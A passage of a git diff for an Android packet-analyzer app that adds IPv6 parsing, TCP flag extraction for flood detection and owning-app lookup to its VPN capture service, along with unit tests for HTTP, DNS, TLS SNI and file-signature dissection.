Exception) { - Log.e(TAG, "❌ Flutter notification error: ${e.message}") - } - } - - private fun createNotificationChannel() { - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { - val channel = NotificationChannel( - CHANNEL_ID, - "Packet Capture Service", - NotificationManager.IMPORTANCE_LOW - ).apply { - description = "Shows when packet capture is active" - setShowBadge(false) - } - - val notificationManager = getSystemService(NotificationManager::class.java) - notificationManager.createNotificationChannel(channel) - } - } - - private fun createNotification(): Notification { - val intent = Intent(this, MainActivity::class.java) - val pendingIntent = PendingIntent.getActivity( - this, 0, intent, - PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE - ) - - return NotificationCompat.Builder(this, CHANNEL_ID) - .setContentTitle("AndroidNet Working VPN") - .setContentText("Capturing packets - Internet working") - .setSmallIcon(android.R.drawable.ic_menu_info_details) - .setContentIntent(pendingIntent) - .setOngoing(true) - .setCategory(NotificationCompat.CATEGORY_SERVICE) - .build() - } - - override fun onDestroy() { - super.onDestroy() - Log.i(TAG, "🛑 Stopping working VPN service...") - - isRunning.set(false) - vpnInterface?.close() - serviceScope.cancel() - - notifyFlutter("VPN_STOPPED", mapOf( - "message" to "VPN stopped", - "packets" to packetCount.get(), - "bytes" to bytesForwarded.get() - )) - - Log.i(TAG, "✅ VPN stopped - Packets: ${packetCount.get()}, Bytes: ${bytesForwarded.get()}") - } -} diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/ZdtunVpnService.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/ZdtunVpnService.kt index 4ebaee7..2513554 100644 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/ZdtunVpnService.kt +++ b/android/app/src/main/kotlin/com/example/packet_analyzer/ZdtunVpnService.kt @@ -3,17 +3,22 @@ package com.example.packet_analyzer import android.app.Notification import android.app.NotificationChannel import android.app.NotificationManager +import android.content.Context import android.content.Intent +import android.net.ConnectivityManager import android.net.VpnService import android.os.Build import android.os.ParcelFileDescriptor +import android.os.Process import android.util.Log import io.flutter.plugin.common.EventChannel import io.flutter.plugin.common.MethodChannel import kotlinx.coroutines.* import java.io.FileInputStream import java.io.FileOutputStream +import java.net.InetSocketAddress import java.nio.ByteBuffer +import java.util.concurrent.ConcurrentHashMap /** * VPN Service using zdtun for proper packet forwarding @@ -252,29 +257,31 @@ class ZdtunVpnService : VpnService() { val sourcePort = packetInfo["sourcePort"] val destPort = packetInfo["destinationPort"] - // Enhanced logging for email and ICMP protocols - when (protocol) { - "SMTP", "IMAP", "IMAPS", "POP3", "POP3S", "ICMP" -> { - Log.i(TAG, "🔍 EMAIL/ICMP PACKET: $protocol " + - "${packetInfo["sourceIp"]}:$sourcePort → " + - "${packetInfo["destinationIp"]}:$destPort") - } - "TCP" -> { - // Check if TCP is on email ports - when { - destPort == 25 || sourcePort == 25 -> Log.i(TAG, "📧 SMTP (port 25) detected") - destPort == 587 || sourcePort == 587 -> Log.i(TAG, "📧 SMTP (port 587) detected") - destPort == 143 || sourcePort == 143 -> Log.i(TAG, "📧 IMAP (port 143) detected") - destPort == 993 || sourcePort == 993 -> Log.i(TAG, "📧 IMAPS (port 993) detected") - destPort == 110 || sourcePort == 110 -> Log.i(TAG, "📧 POP3 (port 110) detected") - destPort == 995 || sourcePort == 995 -> Log.i(TAG, "📧 POP3S (port 995) detected") + // Per-packet diagnostic logging — debug builds only, avoids + // paying string-formatting cost and logcat spam in release. + if (BuildConfig.DEBUG) { + when (protocol) { + "SMTP", "IMAP", "IMAPS", "POP3", "POP3S", "ICMP" -> { + Log.i(TAG, "🔍 EMAIL/ICMP PACKET: $protocol " + + "${packetInfo["sourceIp"]}:$sourcePort → " + + "${packetInfo["destinationIp"]}:$destPort") + } + "TCP" -> { + when { + destPort == 25 || sourcePort == 25 -> Log.i(TAG, "📧 SMTP (port 25) detected") + destPort == 587 || sourcePort == 587 -> Log.i(TAG, "📧 SMTP (port 587) detected") + destPort == 143 || sourcePort == 143 -> Log.i(TAG, "📧 IMAP (port 143) detected") + destPort == 993 || sourcePort == 993 -> Log.i(TAG, "📧 IMAPS (port 993) detected") + destPort == 110 || sourcePort == 110 -> Log.i(TAG, "📧 POP3 (port 110) detected") + destPort == 995 || sourcePort == 995 -> Log.i(TAG, "📧 POP3S (port 995) detected") + } } } - } - Log.d(TAG, "📤 TUN→zdtun: ${packetInfo["protocol"]} " + - "${packetInfo["sourceIp"]}:${packetInfo["sourcePort"]} → " + - "${packetInfo["destinationIp"]}:${packetInfo["destinationPort"]}") + Log.d(TAG, "📤 TUN→zdtun: ${packetInfo["protocol"]} " + + "${packetInfo["sourceIp"]}:${packetInfo["sourcePort"]} → " + + "${packetInfo["destinationIp"]}:${packetInfo["destinationPort"]}") + } // Send to Flutter for display (with raw packet for Phase 2 processing) sendPacketToFlutter(packetInfo, packet) @@ -339,18 +346,19 @@ class ZdtunVpnService : VpnService() { val sourcePort = packetInfo["sourcePort"] val destPort = packetInfo["destinationPort"] - // Enhanced logging for email and ICMP protocols - when (protocol) { - "SMTP", "IMAP", "IMAPS", "POP3", "POP3S", "ICMP" -> { - Log.i(TAG, "🔍 EMAIL/ICMP PACKET (incoming): $protocol " + - "${packetInfo["sourceIp"]}:$sourcePort → " + - "${packetInfo["destinationIp"]}:$destPort") + if (BuildConfig.DEBUG) { + when (protocol) { + "SMTP", "IMAP", "IMAPS", "POP3", "POP3S", "ICMP" -> { + Log.i(TAG, "🔍 EMAIL/ICMP PACKET (incoming): $protocol " + + "${packetInfo["sourceIp"]}:$sourcePort → " + + "${packetInfo["destinationIp"]}:$destPort") + } } - } - Log.d(TAG, "📥 zdtun→TUN: ${packetInfo["protocol"]} " + - "${packetInfo["sourceIp"]}:${packetInfo["sourcePort"]} → " + - "${packetInfo["destinationIp"]}:${packetInfo["destinationPort"]}") + Log.d(TAG, "📥 zdtun→TUN: ${packetInfo["protocol"]} " + + "${packetInfo["sourceIp"]}:${packetInfo["sourcePort"]} → " + + "${packetInfo["destinationIp"]}:${packetInfo["destinationPort"]}") + } // Send to Flutter for display (with raw packet for Phase 2 processing) sendPacketToFlutter(packetInfo, packet) @@ -376,69 +384,281 @@ class ZdtunVpnService : VpnService() { private fun parsePacket(packet: ByteArray, isOutgoing: Boolean = true): Map? { try { - if (packet.size < 20) return null - + if (packet.size < 1) return null val version = (packet[0].toInt() shr 4) and 0x0F - if (version != 4) return null - - val protocol = packet[9].toInt() and 0xFF - val sourceIP = "${packet[12].toInt() and 0xFF}.${packet[13].toInt() and 0xFF}." + - "${packet[14].toInt() and 0xFF}.${packet[15].toInt() and 0xFF}" - val destIP = "${packet[16].toInt() and 0xFF}.${packet[17].toInt() and 0xFF}." + - "${packet[18].toInt() and 0xFF}.${packet[19].toInt() and 0xFF}" - - val ihl = (packet[0].toInt() and 0x0F) * 4 - // Validate IHL - must be at least 20 and within packet bounds - if (ihl < 20 || ihl > packet.size) { - return null + return when (version) { + 4 -> parseIpv4Packet(packet, isOutgoing) + 6 -> parseIpv6Packet(packet, isOutgoing) + else -> null } - val protocolName: String - var sourcePort = 0 - var destPort = 0 - - if (ihl + 4 <= packet.size) { - when (protocol) { - 6 -> { - protocolName = "TCP" - sourcePort = ((packet[ihl].toInt() and 0xFF) shl 8) or (packet[ihl + 1].toInt() and 0xFF) - destPort = ((packet[ihl + 2].toInt() and 0xFF) shl 8) or (packet[ihl + 3].toInt() and 0xFF) - } - 17 -> { - protocolName = "UDP" - sourcePort = ((packet[ihl].toInt() and 0xFF) shl 8) or (packet[ihl + 1].toInt() and 0xFF) - destPort = ((packet[ihl + 2].toInt() and 0xFF) shl 8) or (packet[ihl + 3].toInt() and 0xFF) - } - 1 -> protocolName = "ICMP" - else -> protocolName = "Other($protocol)" - } + } catch (e: Exception) { + Log.e(TAG, "Error parsing packet: ${e.message}") + return null + } + } + + // Cache of "protocol:localPort" -> resolved app label. getConnectionOwnerUid() + // is a Binder IPC call to netd — expensive to do on every single packet, but + // a given local (ephemeral) port belongs to the same app for the lifetime of + // that socket, so this is safe to cache and cheap to keep bounded. + private val owningAppCache = ConcurrentHashMap() + + /** + * Resolves the installed app that owns a given TCP/UDP flow, using + * ConnectivityManager.getConnectionOwnerUid (API 29+) — something desktop + * Wireshark has no equivalent of, since it isn't running on the device + * whose traffic it's inspecting. Returns null on API < 29, for flows we + * can't attribute (e.g. system/kernel traffic), or for our own traffic. + */ + private fun resolveOwningApp( + transportProtocol: Int, + isOutgoing: Boolean, + sourceIP: String, + sourcePort: Int, + destIP: String, + destPort: Int + ): String? { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) return null + if (sourcePort <= 0 || destPort <= 0) return null + + val localPort = if (isOutgoing) sourcePort else destPort + val cacheKey = "$transportProtocol:$localPort" + owningAppCache[cacheKey]?.let { return it } + if (owningAppCache.containsKey(cacheKey)) return null // cached "unresolved" + if (owningAppCache.size > 1000) owningAppCache.clear() + + val resolved = try { + val cm = getSystemService(Context.CONNECTIVITY_SERVICE) as? ConnectivityManager + if (cm == null) { + null } else { - protocolName = when (protocol) { - 6 -> "TCP" - 17 -> "UDP" - 1 -> "ICMP" - else -> "Other($protocol)" + val local = if (isOutgoing) InetSocketAddress(sourceIP, sourcePort) else InetSocketAddress(destIP, destPort) + val remote = if (isOutgoing) InetSocketAddress(destIP, destPort) else InetSocketAddress(sourceIP, sourcePort) + val uid = cm.getConnectionOwnerUid(transportProtocol, local, remote) + val packageName = if (uid <= 0 || uid == Process.myUid()) { + null + } else { + packageManager.getPackagesForUid(uid)?.firstOrNull() + } + if (packageName == null) { + null + } else { + val appInfo = packageManager.getApplicationInfo(packageName, 0) + packageManager.getApplicationLabel(appInfo).toString() } } - - // Determine application name based on port - val appName = getApplicationName(protocolName, if (isOutgoing) destPort else sourcePort) - - return mapOf( - "protocol" to protocolName, - "sourceIp" to sourceIP, - "destinationIp" to destIP, - "sourcePort" to sourcePort, - "destinationPort" to destPort, - "size" to packet.size, - "timestamp" to System.currentTimeMillis(), - "payload" to "", - "direction" to if (isOutgoing) "outgoing" else "incoming", - "appName" to appName - ) } catch (e: Exception) { - Log.e(TAG, "Error parsing packet: ${e.message}") + null + } + + owningAppCache[cacheKey] = resolved + return resolved + } + + private fun parseIpv4Packet(packet: ByteArray, isOutgoing: Boolean): Map? { + if (packet.size < 20) return null + + val protocol = packet[9].toInt() and 0xFF + val sourceIP = "${packet[12].toInt() and 0xFF}.${packet[13].toInt() and 0xFF}." + + "${packet[14].toInt() and 0xFF}.${packet[15].toInt() and 0xFF}" + val destIP = "${packet[16].toInt() and 0xFF}.${packet[17].toInt() and 0xFF}." + + "${packet[18].toInt() and 0xFF}.${packet[19].toInt() and 0xFF}" + + val ihl = (packet[0].toInt() and 0x0F) * 4 + // Validate IHL - must be at least 20 and within packet bounds + if (ihl < 20 || ihl > packet.size) { return null } + val protocolName: String + var sourcePort = 0 + var destPort = 0 + var tcpFlags = "" + + if (ihl + 4 <= packet.size) { + when (protocol) { + 6 -> { + protocolName = "TCP" + sourcePort = ((packet[ihl].toInt() and 0xFF) shl 8) or (packet[ihl + 1].toInt() and 0xFF) + destPort = ((packet[ihl + 2].toInt() and 0xFF) shl 8) or (packet[ihl + 3].toInt() and 0xFF) + tcpFlags = extractTcpFlags(packet, ihl) + } + 17 -> { + protocolName = "UDP" + sourcePort = ((packet[ihl].toInt() and 0xFF) shl 8) or (packet[ihl + 1].toInt() and 0xFF) + destPort = ((packet[ihl + 2].toInt() and 0xFF) shl 8) or (packet[ihl + 3].toInt() and 0xFF) + } + 1 -> protocolName = "ICMP" + else -> protocolName = "Other($protocol)" + } + } else { + protocolName = when (protocol) { + 6 -> "TCP" + 17 -> "UDP" + 1 -> "ICMP" + else -> "Other($protocol)" + } + } + + // Determine application name based on port + val appName = getApplicationName(protocolName, if (isOutgoing) destPort else sourcePort) + val owningApp = if (protocol == 6 || protocol == 17) { + resolveOwningApp(protocol, isOutgoing, sourceIP, sourcePort, destIP, destPort) + } else null + + return mapOf( + "protocol" to protocolName, + "sourceIp" to sourceIP, + "destinationIp" to destIP, + "sourcePort" to sourcePort, + "destinationPort" to destPort, + "size" to packet.size, + "timestamp" to System.currentTimeMillis(), + "payload" to "", + "direction" to if (isOutgoing) "outgoing" else "incoming", + "appName" to appName, + "flags" to tcpFlags, + "owningApp" to (owningApp ?: "") + ) + } + + /** + * TCP flags live in a single byte 13 bytes into the TCP header (RFC 9293 §3.1): + * bit 0=FIN, 1=SYN, 2=RST, 3=PSH, 4=ACK, 5=URG (bits 6-7 are ECE/CWR, not used + * by any detector here). Space-separated names, matching the format the + * libpcap-mode capture path (jni/libpcap_capture.c) already produces, since + * AnomalyDetector/RuleEngine's flags.contains("SYN")-style checks are shared + * across both capture modes. + * + * Previously this field was never populated on the VPN-mode path at all — + * SYN-flood and connection-flood detection silently never fired for anyone + * using unrooted/VPN mode (the default, zero-setup mode), despite the + * detectors themselves being fully implemented and README-advertised as + * working. Only rooted libpcap-mode users ever got real SYN/connection-flood + * detection. + */ + private fun extractTcpFlags(packet: ByteArray, tcpHeaderStart: Int): String { + val flagsOffset = tcpHeaderStart + 13 + if (flagsOffset >= packet.size) return "" + val flagsByte = packet[flagsOffset].toInt() and 0xFF + return buildString { + if (flagsByte and 0x02 != 0) append("SYN ") + if (flagsByte and 0x10 != 0) append("ACK ") + if (flagsByte and 0x01 != 0) append("FIN ") + if (flagsByte and 0x04 != 0) append("RST ") + if (flagsByte and 0x08 != 0) append("PSH ") + if (flagsByte and 0x20 != 0) append("URG ") + } + } + + /** + * IPv6 fixed header is always exactly 40 bytes (RFC 8200 §3): + * version/traffic-class/flow-label (4) | payload length (2) | next header (1) + * | hop limit (1) | source (16) | destination (16). + * + * Extension headers (hop-by-hop, routing, fragment, etc.) aren't walked here — + * "next header" is treated as the transport protocol directly, which covers the + * overwhelming majority of real traffic (plain TCP/UDP/ICMPv6). Previously this + * whole packet class returned null here, so it was tunneled correctly by zdtun + * but completely invisible to DPI/anomaly detection/PCAP logging. + */ + private fun parseIpv6Packet(packet: ByteArray, isOutgoing: Boolean): Map? { + if (packet.size < 40) return null + + val nextHeader = packet[6].toInt() and 0xFF + val sourceIP = formatIpv6Address(packet, 8) + val destIP = formatIpv6Address(packet, 24) + + val protocolName: String + var sourcePort = 0 + var destPort = 0 + var tcpFlags = "" + + if (40 + 4 <= packet.size) { + when (nextHeader) { + 6 -> { + protocolName = "TCP" + sourcePort = ((packet[40].toInt() and 0xFF) shl 8) or (packet[41].toInt() and 0xFF) + destPort = ((packet[42].toInt() and 0xFF) shl 8) or (packet[43].toInt() and 0xFF) + tcpFlags = extractTcpFlags(packet, 40) + } + 17 -> { + protocolName = "UDP" + sourcePort = ((packet[40].toInt() and 0xFF) shl 8) or (packet[41].toInt() and 0xFF) + destPort = ((packet[42].toInt() and 0xFF) shl 8) or (packet[43].toInt() and 0xFF) + } + 58 -> protocolName = "ICMPv6" + else -> protocolName = "Other($nextHeader)" + } + } else { + protocolName = when (nextHeader) { + 6 -> "TCP" + 17 -> "UDP" + 58 -> "ICMPv6" + else -> "Other($nextHeader)" + } + } + + val appName = getApplicationName(protocolName, if (isOutgoing) destPort else sourcePort) + val owningApp = if (nextHeader == 6 || nextHeader == 17) { + resolveOwningApp(nextHeader, isOutgoing, sourceIP, sourcePort, destIP, destPort) + } else null + + return mapOf( + "protocol" to protocolName, + "sourceIp" to sourceIP, + "destinationIp" to destIP, + "sourcePort" to sourcePort, + "destinationPort" to destPort, + "size" to packet.size, + "timestamp" to System.currentTimeMillis(), + "payload" to "", + "direction" to if (isOutgoing) "outgoing" else "incoming", + "appName" to appName, + "flags" to tcpFlags, + "owningApp" to (owningApp ?: "") + ) + } + + /** Formats 16 raw bytes starting at [offset] as a zero-compressed IPv6 address string. */ + private fun formatIpv6Address(packet: ByteArray, offset: Int): String { + val groups = IntArray(8) { i -> + ((packet[offset + i * 2].toInt() and 0xFF) shl 8) or (packet[offset + i * 2 + 1].toInt() and 0xFF) + } + + // Find the longest run of consecutive zero groups (min length 2) to compress with "::". + var bestStart = -1 + var bestLen = 0 + var curStart = -1 + var curLen = 0 + for (i in 0..8) { + val isZero = i < 8 && groups[i] == 0 + if (isZero) { + if (curStart == -1) curStart = i + curLen++ + } else { + if (curLen > bestLen) { + bestStart = curStart + bestLen = curLen + } + curStart = -1 + curLen = 0 + } + } + if (bestLen < 2) bestStart = -1 // no worthwhile run to compress + + val sb = StringBuilder() + var i = 0 + while (i < 8) { + if (i == bestStart) { + sb.append("::") + i += bestLen + continue + } + if (sb.isNotEmpty() && !sb.endsWith(":")) sb.append(':') + sb.append(Integer.toHexString(groups[i])) + i++ + } + return sb.toString() } private fun getApplicationName(protocol: String, port: Int): String { @@ -509,21 +729,9 @@ class ZdtunVpnService : VpnService() { private fun sendPacketToFlutter(packetInfo: Map, rawPacket: ByteArray? = null) { try { - Log.d(TAG, "🚀 sendPacketToFlutter called with: $packetInfo") - Log.d(TAG, "🚀 packetSink is: ${if (packetSink == null) "NULL" else "NOT NULL"}") - // Phase 2: Process packet through PacketAnalysisManager val enrichedPacket = try { - val result = PacketAnalysisManager.getInstance().processPacket(packetInfo, rawPacket) - - // Debug: Check if domain fields were added - if (result.containsKey("domain")) { - Log.d(TAG, "✅ Domain added: ${result["domain"]} (${result["domainFriendly"]})") - } else { - Log.d(TAG, "⚠️ No domain for ${result["destinationAddress"]}") - } - - result + PacketAnalysisManager.getInstance().processPacket(packetInfo, rawPacket) } catch (e: Exception) { Log.w(TAG, "PacketAnalysisManager not available: ${e.message}") packetInfo @@ -561,11 +769,22 @@ class ZdtunVpnService : VpnService() { super.onRevoke() } + // Commit 13 — app swiped from recents while service is running + override fun onTaskRemoved(rootIntent: Intent?) { + Log.i(TAG, "Task removed — finalizing PCAP before death") + try { + PacketAnalysisManager.getInstance().finalizePcap() + } catch (e: Exception) { + Log.e(TAG, "Error finalizing PCAP on task removal: ${e.message}") + } + super.onTaskRemoved(rootIntent) + } + override fun onDestroy() { Log.i(TAG, "Stopping ZdtunVpnService") isRunning = false - // Stop PacketAnalysisManager + // Stop PacketAnalysisManager (internally calls finalizePcap) try { PacketAnalysisManager.getInstance().stopAnalysis() Log.i(TAG, "PacketAnalysisManager stopped") diff --git a/android/app/src/test/kotlin/com/example/packet_analyzer/PacketDissectorTest.kt b/android/app/src/test/kotlin/com/example/packet_analyzer/PacketDissectorTest.kt new file mode 100644 index 0000000..4867d2e --- /dev/null +++ b/android/app/src/test/kotlin/com/example/packet_analyzer/PacketDissectorTest.kt @@ -0,0 +1,335 @@ +package com.example.packet_analyzer + +import org.junit.Assert.* +import org.junit.Test + +class PacketDissectorTest { + + // ---- Small byte-array builder used to hand-construct protocol packets ---- + + private class ByteBuf { + private val list = mutableListOf() + fun u8(v: Int): ByteBuf { list.add(v.toByte()); return this } + fun u16(v: Int): ByteBuf { + list.add(((v shr 8) and 0xFF).toByte()) + list.add((v and 0xFF).toByte()) + return this + } + fun u24(v: Int): ByteBuf { + list.add(((v shr 16) and 0xFF).toByte()) + list.add(((v shr 8) and 0xFF).toByte()) + list.add((v and 0xFF).toByte()) + return this + } + fun bytes(b: ByteArray): ByteBuf { b.forEach { list.add(it) }; return this } + fun fill(v: Int, n: Int): ByteBuf { repeat(n) { list.add(v.toByte()) }; return this } + fun size() = list.size + fun toByteArray(): ByteArray = list.toByteArray() + } + + private fun packet( + protocol: String = "TCP", + destPort: Int = 0, + sourcePort: Int = 0, + destIp: String = "192.0.2.10", + sourceIp: String = "192.0.2.20" + ): Map = mapOf( + "protocol" to protocol, + "destinationPort" to destPort, + "sourcePort" to sourcePort, + "destinationIp" to destIp, + "sourceIp" to sourceIp + ) + + // ---- Guard clauses ----------------------------------------------------- + + @Test + fun `dissect returns original packetInfo unchanged when payload is null`() { + val info = packet(protocol = "TCP", destPort = 80) + val result = PacketDissector.dissect(info, null) + assertEquals(info, result) + assertFalse(result.containsKey("payload")) + } + + @Test + fun `dissect returns original packetInfo unchanged when payload is empty`() { + val info = packet(protocol = "TCP", destPort = 80) + val result = PacketDissector.dissect(info, ByteArray(0)) + assertEquals(info, result) + } + + @Test + fun `dissect returns original packetInfo unchanged when protocol key is missing`() { + val info = mapOf("destinationPort" to 80) + val payload = "GET / HTTP/1.1\r\n\r\n".toByteArray() + val result = PacketDissector.dissect(info, payload) + assertEquals(info, result) + assertFalse(result.containsKey("payload")) + } + + // ---- HTTP ---------------------------------------------------------------- + + @Test + fun `dissect parses an HTTP GET request line and headers`() { + val payload = ( + "GET /index.html HTTP/1.1\r\n" + + "Host: example.com\r\n" + + "User-Agent: TestAgent/1.0\r\n" + + "Content-Type: text/html\r\n" + + "\r\n" + ).toByteArray() + val info = packet(protocol = "TCP", destPort = 80) + + val result = PacketDissector.dissect(info, payload) + + assertEquals("HTTP", result["appName"]) + @Suppress("UNCHECKED_CAST") + val httpData = result["httpData"] as Map + assertEquals("request", httpData["type"]) + assertEquals("GET", httpData["method"]) + assertEquals("/index.html", httpData["uri"]) + assertEquals("example.com", httpData["host"]) + assertEquals("TestAgent/1.0", httpData["userAgent"]) + assertEquals("text/html", httpData["contentType"]) + assertEquals("GET /index.html", httpData["summary"]) + } + + @Test + fun `dissect parses an HTTP response status line`() { + val payload = ( + "HTTP/1.1 200 OK\r\n" + + "Content-Type: application/json\r\n" + + "Content-Length: 15\r\n" + + "\r\n" + + "{\"ok\":true}" + ).toByteArray() + val info = packet(protocol = "TCP", sourcePort = 80, destPort = 52345) + + val result = PacketDissector.dissect(info, payload) + + @Suppress("UNCHECKED_CAST") + val httpData = result["httpData"] as Map + assertEquals("response", httpData["type"]) + assertEquals("200", httpData["statusCode"]) + assertEquals("OK", httpData["statusMessage"]) + assertEquals("application/json", httpData["contentType"]) + assertEquals("15", httpData["contentLength"]) + } + + // ---- DNS ------------------------------------------------------------- + + private fun dnsName(buf: ByteBuf, domain: String) { + for (label in domain.split(".")) { + buf.u8(label.length) + buf.bytes(label.toByteArray(Charsets.US_ASCII)) + } + buf.u8(0) + } + + private fun buildDnsQuery(domain: String, qType: Int = 1): ByteArray { + val buf = ByteBuf() + buf.u16(0x1234) // transaction id + buf.u16(0x0100) // flags: standard query, recursion desired + buf.u16(1) // qdcount + buf.u16(0) // ancount + buf.u16(0) // nscount + buf.u16(0) // arcount + dnsName(buf, domain) + buf.u16(qType) // qtype + buf.u16(1) // qclass IN + return buf.toByteArray() + } + + private fun buildDnsResponse(domain: String, ip: String): ByteArray { + val buf = ByteBuf() + buf.u16(0x1234) // transaction id + buf.u16(0x8180) // flags: response, recursion desired+available, no error + buf.u16(1) // qdcount + buf.u16(1) // ancount + buf.u16(0) // nscount + buf.u16(0) // arcount + dnsName(buf, domain) + buf.u16(1) // qtype A + buf.u16(1) // qclass IN + // Answer: pointer to name at offset 12, type A, class IN, ttl, rdlength, ip + buf.u8(0xC0).u8(0x0C) + buf.u16(1) // type A + buf.u16(1) // class IN + buf.u8(0).u8(0).u8(0x01).u8(0x2C) // ttl = 300 (4 bytes) + buf.u16(4) // rdlength + ip.split(".").forEach { buf.u8(it.toInt()) } + return buf.toByteArray() + } + + @Test + fun `dissect parses a DNS query for the question name and type`() { + val payload = buildDnsQuery("example.com", qType = 1) + val info = packet(protocol = "UDP", destPort = 53) + + val result = PacketDissector.dissect(info, payload) + + assertEquals("DNS", result["appName"]) + @Suppress("UNCHECKED_CAST") + val dnsData = result["dnsData"] as Map + assertEquals("Query", dnsData["type"]) + assertEquals("example.com", dnsData["queryName"]) + assertEquals("A (IPv4)", dnsData["queryType"]) + assertEquals("1", dnsData["questions"]) + assertEquals("No Error", dnsData["responseCode"]) + } + + @Test + fun `dissect parses a DNS response and extracts the resolved IP`() { + val payload = buildDnsResponse("example.com", "93.184.216.34") + val info = packet(protocol = "UDP", sourcePort = 53, destPort = 55123) + + val result = PacketDissector.dissect(info, payload) + + @Suppress("UNCHECKED_CAST") + val dnsData = result["dnsData"] as Map + assertEquals("Response", dnsData["type"]) + assertEquals("example.com", dnsData["queryName"]) + assertEquals("93.184.216.34", dnsData["resolvedIps"]) + } + + @Test + fun `dissect does not add dnsData for a DNS payload shorter than the header`() { + val payload = byteArrayOf(1, 2, 3) + val info = packet(protocol = "UDP", destPort = 53) + + val result = PacketDissector.dissect(info, payload) + + assertFalse(result.containsKey("dnsData")) + // Generic payload enrichment should still occur. + assertTrue(result.containsKey("payloadHex")) + } + + // ---- TLS --------------------------------------------------------------- + + /** + * Builds a minimal, well-formed TLS record containing a Handshake ClientHello + * with a single server_name (SNI) extension, matching the exact byte layout + * PacketDissector.extractSNI expects to walk. + */ + private fun buildTlsClientHelloWithSni(hostname: String): ByteArray { + val hostBytes = hostname.toByteArray(Charsets.US_ASCII) + + // server_name extension entry: name type (1) + name length (2) + name bytes + val serverNameEntry = ByteBuf().u8(0).u16(hostBytes.size).bytes(hostBytes) + val serverNameListLen = serverNameEntry.size() + + // server_name extension data: server name list length (2) + entry + val sniExtensionData = ByteBuf().u16(serverNameListLen).bytes(serverNameEntry.toByteArray()) + + // full extension: type (2, = 0 for server_name) + length (2) + data + val sniExtension = ByteBuf() + .u16(0) + .u16(sniExtensionData.size()) + .bytes(sniExtensionData.toByteArray()) + val extensions = sniExtension.toByteArray() + + // ClientHello body (everything after the handshake type+length header) + val body = ByteBuf() + .u8(0x03).u8(0x03) // client version: TLS 1.2 + .fill(0x11, 32) // client random + .u8(0) // session id length = 0 + .u16(2) // cipher suites length + .u8(0x00).u8(0x2F) // one cipher suite + .u8(1) // compression methods length + .u8(0) // compression method = null + .u16(extensions.size) // extensions length + .bytes(extensions) + + val handshake = ByteBuf() + .u8(1) // handshake type = ClientHello + .u24(body.size()) // handshake length + .bytes(body.toByteArray()) + + val record = ByteBuf() + .u8(22) // content type = Handshake + .u8(0x03).u8(0x01) // record version + .u16(handshake.size()) // record length + .bytes(handshake.toByteArray()) + + return record.toByteArray() + } + + @Test + fun `dissect extracts SNI hostname from a TLS ClientHello`() { + val payload = buildTlsClientHelloWithSni("example.com") + val info = packet(protocol = "TCP", destPort = 443) + + val result = PacketDissector.dissect(info, payload) + + @Suppress("UNCHECKED_CAST") + val tlsData = result["tlsData"] as Map + assertEquals("Handshake", tlsData["contentType"]) + assertEquals("ClientHello", tlsData["handshakeType"]) + assertEquals("example.com", tlsData["sni"]) + } + + @Test + fun `dissect parses a bare TLS ChangeCipherSpec record`() { + // type=20 (ChangeCipherSpec), version 3.3 (TLS 1.2), length=1, body=0x01 + val payload = byteArrayOf(20, 3, 3, 0, 1, 1) + val info = packet(protocol = "TCP", destPort = 443) + + val result = PacketDissector.dissect(info, payload) + + @Suppress("UNCHECKED_CAST") + val tlsData = result["tlsData"] as Map + assertEquals("ChangeCipherSpec", tlsData["contentType"]) + assertEquals("TLS 1.2", tlsData["version"]) + assertFalse(tlsData.containsKey("sni")) + } + + @Test + fun `dissect does not add tlsData for a payload shorter than the record header`() { + val payload = byteArrayOf(1, 2, 3) + val info = packet(protocol = "TCP", destPort = 443) + + val result = PacketDissector.dissect(info, payload) + + assertFalse(result.containsKey("tlsData")) + } + + // ---- Payload hex/ascii truncation ---------------------------------------- + + @Test + fun `dissect bounds payloadHex and payload ascii length for large payloads`() { + val payload = ByteArray(5000) { (it % 256).toByte() } + val info = packet(protocol = "TCP", destPort = 9999) + + val result = PacketDissector.dissect(info, payload) + + assertEquals(5000, result["payloadSize"]) + + val hex = result["payloadHex"] as String + val ascii = result["payload"] as String + + // Whatever the current caps are, they must be well below the full payload size, + // and the hex string must stay internally consistent ("%02x" bytes joined by " "). + assertTrue("payloadHex should be truncated for large payloads", hex.length < 5000 * 3) + assertTrue("payload ascii should be truncated for large payloads", ascii.length < 5000) + + val hexByteCount = hex.split(" ").filter { it.isNotEmpty() }.size + assertTrue("hex byte count should be bounded", hexByteCount in 1..1000) + assertTrue("ascii char count should be bounded", ascii.length in 1..1000) + } + + @Test + fun `dissect does not truncate small payloads`() { + val payload = ByteArray(50) { (it % 256).toByte() } + val info = packet(protocol = "TCP", destPort = 9999) + + val result = PacketDissector.dissect(info, payload) + + assertEquals(50, result["payloadSize"]) + val ascii = result["payload"] as String + assertEquals(50, ascii.length) + + val hex = result["payloadHex"] as String + val hexByteCount = hex.split(" ").filter { it.isNotEmpty() }.size + assertEquals(50, hexByteCount) + } +} diff --git a/android/app/src/test/kotlin/com/example/packet_analyzer/PayloadAnalyzerTest.kt b/android/app/src/test/kotlin/com/example/packet_analyzer/PayloadAnalyzerTest.kt new file mode 100644 index 0000000..da97ece --- /dev/null +++ b/android/app/src/test/kotlin/com/example/packet_analyzer/PayloadAnalyzerTest.kt @@ -0,0 +1,131 @@ +package com.example.packet_analyzer + +import org.junit.Assert.* +import org.junit.Test + +class PayloadAnalyzerTest { + + private fun packet( + protocol: String = "TCP", + destPort: Int = 9999, + sourcePort: Int = 0 + ): Map = mapOf( + "protocol" to protocol, + "destinationPort" to destPort, + "sourcePort" to sourcePort + ) + + @Suppress("UNCHECKED_CAST") + private fun detectedMimeTypes(result: Map): List { + val files = result["detectedFiles"] as? List> ?: return emptyList() + return files.mapNotNull { it["mimeType"] as? String } + } + + // ---- Magic-byte / file-signature detection ------------------------------ + + @Test + fun `detects JPEG by magic bytes`() { + val payload = byteArrayOf(0xFF.toByte(), 0xD8.toByte(), 0xFF.toByte(), 0, 0, 0) + val result = PayloadAnalyzer.analyzePayload(payload, packet()) + assertTrue(detectedMimeTypes(result).contains("image/jpeg")) + } + + @Test + fun `detects PNG by magic bytes`() { + val payload = byteArrayOf(0x89.toByte(), 0x50, 0x4E, 0x47, 0, 0, 0, 0) + val result = PayloadAnalyzer.analyzePayload(payload, packet()) + assertTrue(detectedMimeTypes(result).contains("image/png")) + 